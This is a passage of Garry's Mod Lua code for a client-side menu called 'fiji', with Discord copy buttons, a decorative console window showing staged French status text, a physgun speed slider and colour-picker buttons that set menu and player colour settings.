2670surface.SetDrawColor( aBorder )
2671surface.DrawOutlinedRect( 0, 0, w, h )
2672CopiediscordHome.DoClick = function()
2673NOTIFICATION("discord copyed")
2674SetClipboardText( "" )
2675surface.PlaySound( fiji_evilclick )
2676end
2677end
2678local CopiewebHomeText = vgui.Create( "DButton", pContent)
2679CopiewebHomeText:SetPos( 361, 358)
2680CopiewebHomeText:SetSize( 200, 40 )
2681CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2682CopiewebHomeText:SetText( "Copy Discord" )
2683CopiewebHomeText.Paint = function( self, w, h )
2684draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2685if self:IsHovered() then
2686draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 0))
2687else
2688draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 0))
2689end
2690CopiewebHomeText.DoClick = function()
2691SetClipboardText( "" )
2692end
2693end
2694
2695local CopiewebHome = vgui.Create( "DButton", pContent)
2696CopiewebHome:SetPos( 280, 255)
2697CopiewebHome:SetSize( 80, 35 )
2698CopiewebHome:SetTextColor( Color( 255, 255, 255, 255 ) )
2699CopiewebHome:SetText( "Copy discord" )
2700CopiewebHome.Paint = function( self, w, h )
2701draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2702if self:IsHovered() then
2703CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 255 ) )
2704draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 60 ) )
2705aBorder = Color( 110,110,110, 80 )
2706else
2707CopiewebHomeText:SetTextColor( Color( 255, 255, 255, 0 ) )
2708draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2709aBorder = Color( 110,110,110, 0 )
2710end
2711surface.SetDrawColor( aBorder )
2712surface.DrawOutlinedRect( 0, 0, w, h )
2713CopiewebHome.OnCursorEntered = function(self)
2714surface.PlaySound( fiji_evilhover )
2715
2716end
2717CopiewebHome.DoClick = function()
2718NOTIFICATION("discord copyed")
2719SetClipboardText( "Copy Discord" )
2720surface.PlaySound( fiji_evilclick )
2721
2722end
2723end
2724end
2725
2726
2727
2728
2729concommand.Add("fiji_console", function()
2730local BDConsole = vgui.Create( "DFrame" )
2731BDConsole:SetSize( 700, 400 )
2732BDConsole:Center()
2733BDConsole:SetTitle("")
2734BDConsole:SetDraggable( true )
2735BDConsole:ShowCloseButton( false )
2736BDConsole:MakePopup()
2737BDConsole.Paint = function( self, w, h)
2738DrawBlur(self, 25)
2739draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
2740
2741end
2742
2743local ConsoleText = vgui.Create( "DPanel", BDConsole ) -- create the form as a child of frame
2744ConsoleText:SetPos( 5, 25 )
2745ConsoleText:SetSize( 690, 370 )
2746ConsoleText:SetText( "MaJ" )
2747ConsoleText.Paint = function( self, w, h)
2748draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2749
2750end
2751
2752local ConsoleText1 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2753ConsoleText1:SetPos( 500, 1000 )
2754ConsoleText1:SetSize( 690, 370 )
2755ConsoleText1:SetText( "MaJ" )
2756ConsoleText1.Paint = function( self, w, h)
2757draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2758draw.SimpleText("Initialisation...", "BudgetLabel", 5, 5, Color(255, 255, 255,255), 0, 1)
2759
2760end
2761
2762local ConsoleText2 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2763ConsoleText2:SetPos( 500, 1000 )
2764ConsoleText2:SetSize( 690, 370 )
2765ConsoleText2:SetText( "MaJ" )
2766ConsoleText2.Paint = function( self, w, h)
2767draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2768draw.SimpleText("Lecture du cache...", "BudgetLabel", 5, 5, Color(95, 119, 252), 0, 1)
2769end
2770
2771local ConsoleText3 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2772ConsoleText3:SetPos( 500, 1000 )
2773ConsoleText3:SetSize( 690, 370 )
2774ConsoleText3:SetText( "MaJ" )
2775ConsoleText3.Paint = function( self, w, h)
2776draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2777draw.SimpleText("Affichage", "BudgetLabel", 5, 5, Color(255, 255, 255,255), 0, 1)
2778end
2779
2780local ConsoleText4 = vgui.Create( "DPanel", ConsoleText ) -- create the form as a child of frame
2781ConsoleText4:SetPos( 500, 1000 )
2782ConsoleText4:SetSize( 690, 370 )
2783ConsoleText4:SetText( "MaJ" )
2784ConsoleText4.Paint = function( self, w, h)
2785draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,255 ) )
2786draw.SimpleText("V1.0 - Base du Menu", "BudgetLabel", 5, 5, Color(91, 255, 102,255), 0, 1)
2787
2788draw.SimpleText("In development : Catégorie Fun Commandes", "BudgetLabel", 5, 20, Color(255, 100, 100,255), 0, 1)
2789end
2790
2791
2792local Readconsole = vgui.Create( "DButton", ConsoleText)
2793Readconsole:SetPos( 5, 8)
2794Readconsole:SetSize( 150, 15 )
2795Readconsole:SetTextColor( Color( 255, 255, 255, 255 ) )
2796Readconsole:SetText( "Cliquez ici pour lancer la lecture" )
2797Readconsole.Paint = function( self, w, h )
2798draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2799
2800Readconsole.DoClick = function()
2801Readconsole:Remove()
2802timer.Simple( 0.1, function()
2803ConsoleText1:SetPos( 5, 25 )
2804end )
2805
2806timer.Simple( 0.6, function()
2807ConsoleText2:SetPos( 5, 25 )
2808end )
2809
2810timer.Simple( 2.3, function()
2811ConsoleText3:SetPos( 5, 25 )
2812end )
2813
2814timer.Simple( 2.5, function()
2815ConsoleText4:SetPos( 5, 25 )
2816end )
2817
2818
2819end
2820end
2821
2822
2823concommand.Add("fiji_readconsole", function()
2824
2825timer.Simple( 1, function()
2826draw.SimpleText("Initialisation...", "BudgetLabel", 5, 12, Color(255, 255, 255,255), 0, 1)
2827end )
2828timer.Simple( 2, function() draw.SimpleText("Lecture du cache...", "BudgetLabel", 5, 28, Color(255, 255, 255,255), 0, 1) end )
2829timer.Simple( 2.5, function() draw.SimpleText("Affichage", "BudgetLabel", 5, 40, Color(255, 255, 255,255), 0, 1) end )
2830
2831timer.Simple( 2.7, function()
2832draw.SimpleText("V1.0 - Base du Menu", "BudgetLabel", 5, 52, Color(91, 255, 102,255), 0, 1)
2833draw.SimpleText("En développement : Catégorie Fun Commandes", "BudgetLabel", 5, 65, Color(255, 100, 100,255), 0, 1)
2834end )
2835
2836end)
2837
2838local CloseCONSOLE = vgui.Create( "DButton", BDConsole)
2839CloseCONSOLE:SetPos( 670, 8)
2840CloseCONSOLE:SetSize( 20, 15 )
2841CloseCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
2842CloseCONSOLE:SetText( "X" )
2843CloseCONSOLE.Paint = function( self, w, h )
2844draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2845if self:IsHovered() then
2846draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2847else
2848draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2849end
2850CloseCONSOLE.DoClick = function()
2851LocalPlayer():ConCommand("fiji_sv_existmen 0")
2852BDConsole:Remove()
2853end
2854end
2855
2856local ReturnCONSOLE = vgui.Create( "DButton", BDConsole)
2857ReturnCONSOLE:SetPos( 638, 8)
2858ReturnCONSOLE:SetSize( 30, 15)
2859ReturnCONSOLE:SetTextColor( Color( 255, 255, 255, 255 ) )
2860ReturnCONSOLE:SetText( "<--" )
2861ReturnCONSOLE.Paint = function( self, w, h )
2862draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2863if self:IsHovered() then
2864draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
2865else
2866draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
2867end
2868ReturnCONSOLE.DoClick = function()
2869LocalPlayer():ConCommand("evil")
2870BDConsole:Remove()
2871end
2872end
2873
2874concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
2875BDConsole:Remove()
2876
2877end)
2878
2879end)
2880
2881function BD:Options( pContent )
2882local BDMenuOptions = vgui.Create("DPanel", pContent)
2883BDMenuOptions:SetSize( 539, 388 )
2884BDMenuOptions:SetPos( 0, 0 )
2885BDMenuOptions.Paint = function( self, w, h)
2886if fiji_style_menu:GetInt() == 2 then
2887draw.RoundedBox( 0, 0, 0, 2, h - 46, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
2888
2889elseif fiji_style_menu:GetInt() == 1 then
2890draw.RoundedBox( 0, 0, 0, 2, h - 46, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
2891
2892else
2893draw.RoundedBox( 0, 0, 0, 2, h - 46, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
2894
2895end
2896
2897
2898draw.RoundedBox( 200, 382, 10, 2, h - 216, Color( 50,50,50, 255 ) )
2899draw.RoundedBox( 200, 149, 10, 2, h - 216, Color( 50,50,50, 255 ) )
2900draw.RoundedBox( 0, 151, 180, w - 307, 2, Color( 50,50,50, 255 ) )
2901draw.RoundedBox( 0, 151, 10, w - 448, 2, Color( 50,50,50, 255 ) )
2902draw.RoundedBox( 0, 290, 10, w - 447, 2, Color( 50,50,50, 255 ) )
2903draw.SimpleText("Menu", "evil_home3", 251, 10, Color(100, 100, 100,255), 0, 1)
2904
2905draw.RoundedBox( 200, 382, 205, 2, h - 213, Color( 50,50,50, 255 ) )
2906draw.RoundedBox( 200, 149, 205, 2, h - 213, Color( 50,50,50, 255 ) )
2907draw.RoundedBox( 0, 151, 378, w - 307, 2, Color( 50,50,50, 255 ) )
2908draw.RoundedBox( 0, 151, 205, w - 448, 2, Color( 50,50,50, 255 ) )
2909draw.RoundedBox( 0, 290, 205, w - 447, 2, Color( 50,50,50, 255 ) )
2910draw.SimpleText("Autres", "evil_home3", 250, 205, Color(100, 100, 100,255), 0, 1)
2911end
2912
2913
2914
2915local pPOOO = vgui.Create( "DPanel", pContent )
2916pPOOO:SetSize( 225, 50 )
2917pPOOO:SetPos( 154, 290 )
2918function pPOOO:Paint( w, h )
2919draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
2920draw.SimpleText( "VITESSE PHYSICGUN", "evil_home5", 10, h / 2, color_white, 0, 1 )
2921end
2922local pDistanceOOO = vgui.Create( "DNumSlider", pContent )
2923pDistanceOOO:SetPos( 215, 290 )
2924pDistanceOOO:SetSize( 180, 50 )
2925pDistanceOOO:SetText( "" )
2926pDistanceOOO:SetMin( 10 )
2927pDistanceOOO:SetMax( 1500 )
2928pDistanceOOO:SetDecimals( 0 )
2929pDistanceOOO:SetValue( physgun_wheelspeed:GetInt() or 200 )
2930pDistanceOOO.Scratch:SetVisible( false )
2931pDistanceOOO.TextArea:SetTextColor( color_white )
2932function pDistanceOOO.Slider:Paint(w, h)
2933surface.SetDrawColor(0, 0, 0, 255)
2934surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
2935if fiji_style_menu:GetInt() == 2 then
2936surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2937surface.DrawRect(0, 21, barw, h / 5)
2938
2939elseif fiji_style_menu:GetInt() == 1 then
2940surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
2941surface.DrawRect(0, 21, barw, h / 5)
2942
2943else
2944surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
2945surface.DrawRect(0, 21, barw, h / 5)
2946end
2947end
2948function pDistanceOOO:SetHeight(tall)
2949self.Slider.Knob:SetHeight(tall / 2 + 4)
2950DSlider.SetHeight(self, tall)
2951pDistanceOOO.SetTall = pDistanceOOO.SetHeight
2952pDistanceOOO.Slider.Knob:SetTall(5)
2953end
2954function pDistanceOOO.Slider.Knob:Paint(w, h)
2955derma.SkinHook( "Paint", "Button", self, 0, 0 )
2956end
2957function pDistanceOOO:OnValueChanged( val )
2958RunConsoleCommand( "physgun_wheelspeed", tonumber( self:GetValue() ) )
2959end
2960
2961local movingicons = {Material("icon16/exclamation.png"), Material("icon16/delete.png"), Material("icon16/key.png"), Material("icon16/cancel.png"), Material("icon16/rainbow.png"), Material("icon16/wand.png"), nil}
2962
2963
2964local OpenConsole = vgui.Create( "DButton", pContent)
2965OpenConsole:SetPos( 485, 363.5)
2966OpenConsole:SetSize( 50, 20 )
2967OpenConsole:SetTextColor( Color( 255, 255, 255, 255 ) )
2968OpenConsole:SetText( "Console" )
2969OpenConsole.Paint = function( self, w, h )
2970draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
2971if self:IsHovered() then
2972
2973
2974for i, icon in pairs(movingicons) do
2975local seed = i
2976local tick = (CurTime() + seed * 10)
2977local speed = seed % 4 + 1 + (seed * 0.5)
2978local loltick = (CurTime() * 2+ tick * speed * 10) % w
2979surface.SetDrawColor(255, 255, 255)
2980surface.SetMaterial(icon)
2981local iw, ih = 50, 50
2982surface.DrawTexturedRect(loltick, 0 + (h * 1.01 / 15) + math.sin(loltick / 30) * 5, iw, ih)
2983end
2984DrawBlur(self, 5)
2985
2986draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 180))
2987
2988else
2989OpenConsole:SetTextColor( Color( 255, 255, 255, 100 ) )
2990draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 20))
2991end
2992function OpenConsole:OnCursorEntered() OpenConsole:SizeTo( 60, 30, 0.2, 0 ) OpenConsole:MoveTo( 475, 353.5, 0.2) end
2993function OpenConsole:OnCursorExited() OpenConsole:SizeTo( 50, 20, 0.2, 0 ) OpenConsole:MoveTo( 485, 363.5, 0.2)end
2994OpenConsole.DoClick = function()
2995LocalPlayer():ConCommand("fiji_console")
2996LocalPlayer():ConCommand("clear_evil")
2997LocalPlayer():ConCommand("fiji_sv_existmen 1")
2998end
2999end
3000
3001local ColorMenuBB = vgui.Create( "DPanel", BDMenuOptions )
3002ColorMenuBB:SetSize( 225, 50 )
3003ColorMenuBB:SetPos( 154, 227 )
3004function ColorMenuBB:Paint( w, h )
3005draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3006draw.SimpleText( "color physics gun", "evil_home5", 78, 8, color_white, 0, 1 )
3007end
3008local OptionsColorRedMENUBB = vgui.Create( "DButton", ColorMenuBB )
3009OptionsColorRedMENUBB:SetPos( 4,20 )
3010OptionsColorRedMENUBB:SetSize( 20, 20 )
3011OptionsColorRedMENUBB:SetText( " " )
3012OptionsColorRedMENUBB.Paint = function( self, w, h )
3013if self:IsHovered() then
3014draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3015surface.SetDrawColor(255, 255, 255 ,100)
3016surface.DrawOutlinedRect(0, 0, w, h)
3017else
3018draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3019surface.SetDrawColor(255, 255, 255 ,100)
3020surface.DrawOutlinedRect(0, 0, w, h)
3021end
3022OptionsColorRedMENUBB.DoClick = function()
3023LocalPlayer():ConCommand("fiji_principal_color_player 255")
3024LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3025LocalPlayer():ConCommand("fiji_third_color_player 0")
3026LocalPlayer():ConCommand("fiji_style_player 0")
3027surface.PlaySound( fiji_evilhover )
3028end
3029end
3030local OptionsColorOrangeMENUBB = vgui.Create( "DButton", ColorMenuBB )
3031OptionsColorOrangeMENUBB:SetPos( 26,20 )
3032OptionsColorOrangeMENUBB:SetSize( 20, 20 )
3033OptionsColorOrangeMENUBB:SetText( " " )
3034OptionsColorOrangeMENUBB.Paint = function( self, w, h )
3035if self:IsHovered() then
3036draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3037surface.SetDrawColor(255, 255, 255 ,100)
3038surface.DrawOutlinedRect(0, 0, w, h)
3039else
3040draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3041surface.SetDrawColor(255, 255, 255 ,100)
3042surface.DrawOutlinedRect(0, 0, w, h)
3043end
3044OptionsColorOrangeMENUBB.DoClick = function()
3045LocalPlayer():ConCommand("fiji_principal_color_player 255")
3046LocalPlayer():ConCommand("fiji_secondary_color_player 144")
3047LocalPlayer():ConCommand("fiji_third_color_player 0")
3048LocalPlayer():ConCommand("fiji_style_player 0")
3049surface.PlaySound( fiji_evilhover )
3050end
3051end
3052local OptionsColorYellowMENUBB = vgui.Create( "DButton", ColorMenuBB )
3053OptionsColorYellowMENUBB:SetPos( 48,20 )
3054OptionsColorYellowMENUBB:SetSize( 20, 20 )
3055OptionsColorYellowMENUBB:SetText( " " )
3056OptionsColorYellowMENUBB.Paint = function( self, w, h )
3057if self:IsHovered() then
3058draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3059surface.SetDrawColor(255, 255, 255 ,100)
3060surface.DrawOutlinedRect(0, 0, w, h)
3061else
3062draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3063surface.SetDrawColor(255, 255, 255 ,100)
3064surface.DrawOutlinedRect(0, 0, w, h)
3065end
3066OptionsColorYellowMENUBB.DoClick = function()
3067LocalPlayer():ConCommand("fiji_principal_color_player 255")
3068LocalPlayer():ConCommand("fiji_secondary_color_player 229")
3069LocalPlayer():ConCommand("fiji_third_color_player 0")
3070LocalPlayer():ConCommand("fiji_style_player 0")
3071surface.PlaySound( fiji_evilhover )
3072end
3073end
3074local OptionsColorGreenMENUBB = vgui.Create( "DButton", ColorMenuBB )
3075OptionsColorGreenMENUBB:SetPos( 70,20 )
3076OptionsColorGreenMENUBB:SetSize( 20, 20 )
3077OptionsColorGreenMENUBB:SetText( " " )
3078OptionsColorGreenMENUBB.Paint = function( self, w, h )
3079if self:IsHovered() then
3080draw.RoundedBox(0,0,0,w,h,Color(0, 155, 106))
3081surface.SetDrawColor(255, 255, 255 ,100)
3082surface.DrawOutlinedRect(0, 0, w, h)
3083else
3084draw.RoundedBox( 0, 0, 0, w, h, Color(0, 255, 174))
3085surface.SetDrawColor(255, 255, 255 ,100)
3086surface.DrawOutlinedRect(0, 0, w, h)
3087end
3088OptionsColorGreenMENUBB.DoClick = function()
3089LocalPlayer():ConCommand("fiji_principal_color_player 0")
3090LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3091LocalPlayer():ConCommand("fiji_third_color_player 4")
3092LocalPlayer():ConCommand("fiji_style_player 0")
3093surface.PlaySound( fiji_evilhover )
3094end
3095end
3096local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3097OptionsColorBlueMENUBB:SetPos( 92,20 )
3098OptionsColorBlueMENUBB:SetSize( 20, 20 )
3099OptionsColorBlueMENUBB:SetText( " " )
3100OptionsColorBlueMENUBB.Paint = function( self, w, h )
3101if self:IsHovered() then
3102draw.RoundedBox(0,0,0,w,h,Color(0, 0, 255))
3103surface.SetDrawColor(255, 255, 255 ,100)
3104surface.DrawOutlinedRect(0, 0, w, h)
3105else
3106draw.RoundedBox( 0, 0, 0, w, h, Color(117, 121, 255))
3107surface.SetDrawColor(255, 255, 255 ,100)
3108surface.DrawOutlinedRect(0, 0, w, h)
3109end
3110OptionsColorBlueMENUBB.DoClick = function()
3111LocalPlayer():ConCommand("fiji_principal_color_player 0")
3112LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3113LocalPlayer():ConCommand("fiji_third_color_player 255")
3114LocalPlayer():ConCommand("fiji_style_player 0")
3115surface.PlaySound( fiji_evilhover )
3116end
3117end
3118local OptionsColorBlueMENUBB = vgui.Create( "DButton", ColorMenuBB )
3119OptionsColorBlueMENUBB:SetPos( 114,20 )
3120OptionsColorBlueMENUBB:SetSize( 20, 20 )
3121OptionsColorBlueMENUBB:SetText( " " )
3122OptionsColorBlueMENUBB.Paint = function( self, w, h )
3123if self:IsHovered() then
3124draw.RoundedBox(0,0,0,w,h,Color(144, 0, 255))
3125surface.SetDrawColor(255, 255, 255 ,100)
3126surface.DrawOutlinedRect(0, 0, w, h)
3127else
3128draw.RoundedBox( 0, 0, 0, w, h, Color(191, 109, 255))
3129surface.SetDrawColor(255, 255, 255 ,100)
3130surface.DrawOutlinedRect(0, 0, w, h)
3131end
3132OptionsColorBlueMENUBB.DoClick = function()
3133LocalPlayer():ConCommand("fiji_principal_color_player 114")
3134LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3135LocalPlayer():ConCommand("fiji_third_color_player 255")
3136LocalPlayer():ConCommand("fiji_style_player 0")
3137surface.PlaySound( fiji_evilhover )
3138end
3139end
3140local OptionsColorPinkMENUBB = vgui.Create( "DButton", ColorMenuBB )
3141OptionsColorPinkMENUBB:SetPos( 136,20 )
3142OptionsColorPinkMENUBB:SetSize( 20, 20 )
3143OptionsColorPinkMENUBB:SetText( " " )
3144OptionsColorPinkMENUBB.Paint = function( self, w, h )
3145if self:IsHovered() then
3146draw.RoundedBox(0,0,0,w,h,Color(250, 0, 255))
3147surface.SetDrawColor(255, 255, 255 ,100)
3148surface.DrawOutlinedRect(0, 0, w, h)
3149else
3150draw.RoundedBox( 0, 0, 0, w, h, Color(252, 96, 255))
3151surface.SetDrawColor(255, 255, 255 ,100)
3152surface.DrawOutlinedRect(0, 0, w, h)
3153end
3154OptionsColorPinkMENUBB.DoClick = function()
3155LocalPlayer():ConCommand("fiji_principal_color_player 255")
3156LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3157LocalPlayer():ConCommand("fiji_third_color_player 242")
3158LocalPlayer():ConCommand("fiji_style_player 0")
3159surface.PlaySound( fiji_evilhover )
3160end
3161end
3162local OptionsColorBlackMENUBB = vgui.Create( "DButton", ColorMenuBB )
3163OptionsColorBlackMENUBB:SetPos( 158,20 )
3164OptionsColorBlackMENUBB:SetSize( 20, 20 )
3165OptionsColorBlackMENUBB:SetText( " " )
3166OptionsColorBlackMENUBB.Paint = function( self, w, h )
3167if self:IsHovered() then
3168draw.RoundedBox(0,0,0,w,h,Color(45, 45, 45))
3169surface.SetDrawColor(255, 255, 255 ,100)
3170surface.DrawOutlinedRect(0, 0, w, h)
3171else
3172draw.RoundedBox( 0, 0, 0, w, h, Color(60, 60, 60))
3173surface.SetDrawColor(255, 255, 255 ,100)
3174surface.DrawOutlinedRect(0, 0, w, h)
3175end
3176OptionsColorBlackMENUBB.DoClick = function()
3177LocalPlayer():ConCommand("fiji_principal_color_player 0")
3178LocalPlayer():ConCommand("fiji_secondary_color_player 0")
3179LocalPlayer():ConCommand("fiji_third_color_player 0")
3180LocalPlayer():ConCommand("fiji_style_player 0")
3181surface.PlaySound( fiji_evilhover )
3182end
3183end
3184local OptionsColormultiMENUBB = vgui.Create( "DButton", ColorMenuBB )
3185OptionsColormultiMENUBB:SetPos( 202,20 )
3186OptionsColormultiMENUBB:SetSize( 20, 20 )
3187OptionsColormultiMENUBB:SetText( " " )
3188OptionsColormultiMENUBB.Paint = function( self, w, h )
3189if self:IsHovered() then
3190draw.RoundedBox(0,0,0,w,h,HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3191surface.SetDrawColor(255, 255, 255 ,100)
3192surface.DrawOutlinedRect(0, 0, w, h)
3193else
3194draw.RoundedBox( 0, 0, 0, w, h, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
3195surface.SetDrawColor(255, 255, 255 ,100)
3196surface.DrawOutlinedRect(0, 0, w, h)
3197end
3198OptionsColormultiMENUBB.DoClick = function()
3199LocalPlayer():ConCommand("fiji_style_player 1")
3200surface.PlaySound( fiji_evilhover )
3201end
3202end
3203local OptionsColorwhiteMENUBB = vgui.Create( "DButton", ColorMenuBB )
3204OptionsColorwhiteMENUBB:SetPos( 180,20 )
3205OptionsColorwhiteMENUBB:SetSize( 20, 20 )
3206OptionsColorwhiteMENUBB:SetText( " " )
3207OptionsColorwhiteMENUBB.Paint = function( self, w, h )
3208if self:IsHovered() then
3209draw.RoundedBox(0,0,0,w,h,Color(200,200,200))
3210surface.SetDrawColor(255, 255, 255,100)
3211surface.DrawOutlinedRect(0, 0, w, h)
3212else
3213draw.RoundedBox( 0, 0, 0, w, h, Color(255,255,255))
3214surface.SetDrawColor(255, 255, 255 ,100)
3215surface.DrawOutlinedRect(0, 0, w, h)
3216end
3217OptionsColorwhiteMENUBB.DoClick = function()
3218LocalPlayer():ConCommand("fiji_principal_color_player 255")
3219LocalPlayer():ConCommand("fiji_secondary_color_player 255")
3220LocalPlayer():ConCommand("fiji_third_color_player 255")
3221LocalPlayer():ConCommand("fiji_style_player 0")
3222surface.PlaySound( fiji_evilhover )
3223end
3224end
3225
3226
3227
3228
3229
3230local ColorMenu = vgui.Create( "DPanel", BDMenuOptions )
3231ColorMenu:SetSize( 225, 50 )
3232ColorMenu:SetPos( 154, 30 )
3233function ColorMenu:Paint( w, h )
3234draw.RoundedBox( 0, 0, 0, w, h, Color( 110,110,110, 20 ) )
3235draw.SimpleText( "Color Menu", "evil_home5", 79, 8, color_white, 0, 1 )
3236end
3237local OptionsColorRedMENU = vgui.Create( "DButton", ColorMenu )
3238OptionsColorRedMENU:SetPos( 4,20 )
3239OptionsColorRedMENU:SetSize( 20, 20 )
3240OptionsColorRedMENU:SetText( " " )
3241OptionsColorRedMENU.Paint = function( self, w, h )
3242if self:IsHovered() then
3243draw.RoundedBox(0,0,0,w,h,Color(183, 0, 0))
3244surface.SetDrawColor(255, 255, 255 ,100)
3245surface.DrawOutlinedRect(0, 0, w, h)
3246else
3247draw.RoundedBox( 0, 0, 0, w, h, Color(255, 81, 81))
3248surface.SetDrawColor(255, 255, 255 ,100)
3249surface.DrawOutlinedRect(0, 0, w, h)
3250end
3251OptionsColorRedMENU.DoClick = function()
3252LocalPlayer():ConCommand("fiji_menu_princ_color 238")
3253LocalPlayer():ConCommand("fiji_menu_sec_color 61")
3254LocalPlayer():ConCommand("fiji_menu_th_color 61")
3255LocalPlayer():ConCommand("fiji_style_menu 0")
3256surface.PlaySound( fiji_evilhover )
3257
3258end
3259end
3260local OptionsColorOrangeMENU = vgui.Create( "DButton", ColorMenu )
3261OptionsColorOrangeMENU:SetPos( 26,20 )
3262OptionsColorOrangeMENU:SetSize( 20, 20 )
3263OptionsColorOrangeMENU:SetText( " " )
3264OptionsColorOrangeMENU.Paint = function( self, w, h )
3265if self:IsHovered() then
3266draw.RoundedBox(0,0,0,w,h,Color(211, 116, 0))
3267surface.SetDrawColor(255, 255, 255 ,100)
3268surface.DrawOutlinedRect(0, 0, w, h)
3269else
3270draw.RoundedBox( 0, 0, 0, w, h, Color(255, 165, 56))
3271surface.SetDrawColor(255, 255, 255 ,100)
3272surface.DrawOutlinedRect(0, 0, w, h)
3273end
3274OptionsColorOrangeMENU.DoClick = function()
3275LocalPlayer():ConCommand("fiji_menu_princ_color 255")
3276LocalPlayer():ConCommand("fiji_menu_sec_color 162")
3277LocalPlayer():ConCommand("fiji_menu_th_color 91")
3278LocalPlayer():ConCommand("fiji_style_menu 0")
3279surface.PlaySound( fiji_evilhover )
3280
3281end
3282end
3283local OptionsColorYellowMENU = vgui.Create( "DButton", ColorMenu )
3284OptionsColorYellowMENU:SetPos( 48,20 )
3285OptionsColorYellowMENU:SetSize( 20, 20 )
3286OptionsColorYellowMENU:SetText( " " )
3287OptionsColorYellowMENU.Paint = function( self, w, h )
3288if self:IsHovered() then
3289draw.RoundedBox(0,0,0,w,h,Color(193, 190, 0))
3290surface.SetDrawColor(255, 255, 255 ,100)
3291surface.DrawOutlinedRect(0, 0, w, h)
3292else
3293draw.RoundedBox( 0, 0, 0, w, h, Color(255, 253, 160))
3294surface.SetDrawColor(255, 255, 255 ,100)
3295surface.DrawOutlinedRect(0, 0, w, h)
3296end
3297OptionsColorYellowMENU.DoClick = function()
3298LocalPlayer():ConCommand("fiji_menu_princ_color 246")
3299LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3300LocalPlayer():ConCommand("fiji_menu_th_color 91")
3301LocalPlayer():ConCommand("fiji_style_menu 0")
3302surface.PlaySound( fiji_evilhover )
3303
3304end
3305end
3306local OptionsColorGreenMENU = vgui.Create( "DButton", ColorMenu )
3307OptionsColorGreenMENU:SetPos( 70,20 )
3308OptionsColorGreenMENU:SetSize( 20, 20 )
3309OptionsColorGreenMENU:SetText( " " )
3310OptionsColorGreenMENU.Paint = function( self, w, h )
3311if self:IsHovered() then
3312draw.RoundedBox(0,0,0,w,h,Color(2, 178, 0))
3313surface.SetDrawColor(255, 255, 255 ,100)
3314surface.DrawOutlinedRect(0, 0, w, h)
3315else
3316draw.RoundedBox( 0, 0, 0, w, h, Color(119, 255, 117))
3317surface.SetDrawColor(255, 255, 255 ,100)
3318surface.DrawOutlinedRect(0, 0, w, h)
3319end
3320OptionsColorGreenMENU.DoClick = function()
3321LocalPlayer():ConCommand("fiji_menu_princ_color 130")
3322LocalPlayer():ConCommand("fiji_menu_sec_color 255")
3323LocalPlayer():ConCommand("fiji_menu_th_color 132")
3324LocalPlayer():ConCommand("fiji_style_menu 0")
3325surface.PlaySound( fiji_evilhover )
3326
3327end
3328end
3329local OptionsColorBlueMENU = vgui.Create( "DButton", ColorMenu )
3330OptionsColorBlueMENU:SetPos( 92,20 )
3331OptionsColorBlueMENU:SetSize( 20, 20 )
3332OptionsColorBlueMENU:SetText( " " )
3333OptionsColorBlueMENU.Paint = function( self, w, h )
3334if self:IsHovered() then
